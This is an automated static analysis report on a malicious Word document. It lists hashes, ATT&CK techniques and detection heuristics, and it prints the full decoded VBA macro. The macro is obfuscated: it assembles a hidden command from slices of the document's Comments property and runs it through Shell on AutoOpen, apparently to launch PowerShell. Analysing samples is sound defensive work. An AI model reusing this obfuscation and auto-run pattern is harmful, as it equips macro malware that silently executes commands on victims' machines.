Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b001a1a9ad49e0e…

MALICIOUS

Office (OLE)

79.0 KB Created: 2017-10-11 06:24:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: c00e2bd3d6ed0240b28072375ffb91cd SHA-1: f901fddd5e26ad2969588852f2c75408952deb2b SHA-256: 5b001a1a9ad49e0e4de93055ddfe9514aafc35213baa4664571f4b110d94e5b5
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is present and triggers a Shell() call, which in turn references PowerShell. This indicates the macro is designed to execute a PowerShell command, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Macro.DollarShell-6346616-0' further supports this analysis.

Heuristics 8

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    JlqwYJz = WqwEJCSYPU + XwzkoCciS
    VBA.Shell$ JlqwYJz, 0
    End Sub
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
    ROlnlzmOF
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7504 bytes
SHA-256: 79bf3689fb5d1bad904e07ebd4924becf581a27ec11a169fd4ba512c7c727a35
Detection
ClamAV: No threats found
Obfuscation or payload: likely
41 of 74 identifiers look randomly generated (e.g. 'EOLhJVRhsmk') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Sub ROlnlzmOF()
pjEMfdLjzj = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 5009, 197)
qUEWJn = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 7000), 3)
nYamIXb = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 11634), 85)
sVotiQh = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 8123, 47)
SEMqHdhV = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 4867), 192)
mbdoBzw = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 17926), 176)
SDIBSN = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 14295), 20)
UVHDXE = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 3441), 173)
kDzRwFm = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 11142), 151)
GuOjm = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 7280, 165)
zXzVJDucz = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 1645), 70)
APROXt = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 8530), 158)
vAAMNQI = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 6702), 46)
TshhbX = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 6412), 40)
EOLhJVRhsmk = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 15674), 145)
WVMVwjzLmE = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 2947, 173)
iIGhiY = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 1504, 99)
PSiIjm = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 9931), 163)
fUiYETwXU = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 5651), 171)
nEoSKKZb = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 15711), 150)
zONrdc = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 12776, 123)
EmLEQfSacE = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 778, 44)
jNSvFH = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 18242), 7)
UwKKS = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 2415), 167)
FQhbrsjQZ = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 6269), 137)
oIzjhVNBb = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 3873, 199)
SlVBDWFcAmr = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 12036), 183)
JvcWSC = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 4072), 52)
dXTSAkRpzQz = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 4426), 80)
wvGppK = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 9742), 160)
QvzJmZmsqiZ = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 1783), 160)
oNCiC = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 10543), 72)
mCWuEDLzWj = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 10658), 146)
kvMcVJOKfw = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 17070), 128)
XEFKiEHmZ = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 2644, 95)
OZCEiO = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 5768, 48)
JFhEHbl = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 4654), 62)
naJpvnWz = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 1479), 199)
RSZqS = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 8753, 132)
wDTEfwsbwd = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 5860, 179)
wjwXh = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 16745), 16)
NUTlfFkOVDj = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 11277), 129)
qWchMVH = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 15156, 90)
OwKjzzR = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 9654, 84)
rrSAQfSnwvh = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 16125, 180)
OOaJbGPL = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 13188), 94)
VwFWazFkwB = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 14346), 53)
XwqFzPYWMw = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 14600), 113)
hwFqYLFjfA = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 16037), 141)
KIrot = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 17751, 125)
MuiwzZo = pjEMfdLjzj + qUEWJn + nYamIXb + sVotiQh + SEMqHdhV + mbdoBzw + SDIBSN + UVHDXE + kDzRwFm + GuOjm + zXzVJDucz + APROXt + vAAMNQI + TshhbX + EOLhJVRhsmk + WVMVwjzLmE + iIGhiY + PSiIjm + fUiYETwXU + nEoSKKZb + zONrdc + EmLEQfSacE + jNSvFH + UwKKS + FQhbrsjQZ + oIzjhVNBb + SlVBDWFcAmr + JvcWSC + dXTSAkRpzQz + wvGppK + QvzJmZmsqiZ + oNCiC + mCWuEDLzWj + kvMcVJOKfw + XEFKiEHmZ + OZCEiO + JFhEHbl + naJpvnWz + RSZqS + wDTEfwsbwd + wjwXh + NUTlfFkOVDj + qWchMVH + OwKjzzR + rrSAQfSnwvh + OOaJbGPL + VwFWazFkwB + XwqFzPYWMw + hwFqYLFjfA + KIrot
iaUbBNcMi = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 3145), 81)
ZSqKkqcXB = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 2389), 66)
wULpwDMwnA = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 13353), 191)
tbjiubtMVJp = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 12392), 21)
MmSFrcAPM = MuiwzZo + iaUbBNcMi + ZSqKkqcXB + wULpwDMwnA + tbjiubtMVJp
jzdnW = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 9253), 4)
DLhwINRpi = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 4955), 17)
KPzObO = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 12913, 1)
PiLULpKMz = MmSFrcAPM + jzdnW + DLhwINRpi + KPzObO
LYipJ = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 14732), 2)
WqwEJCSYPU = PiLULpKMz + LYipJ
XwzkoCciS = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 14041), 1)
JlqwYJz = WqwEJCSYPU + XwzkoCciS
VBA.Shell$ JlqwYJz, 0
End Sub
Sub AutoOpen()
ROlnlzmOF
End Sub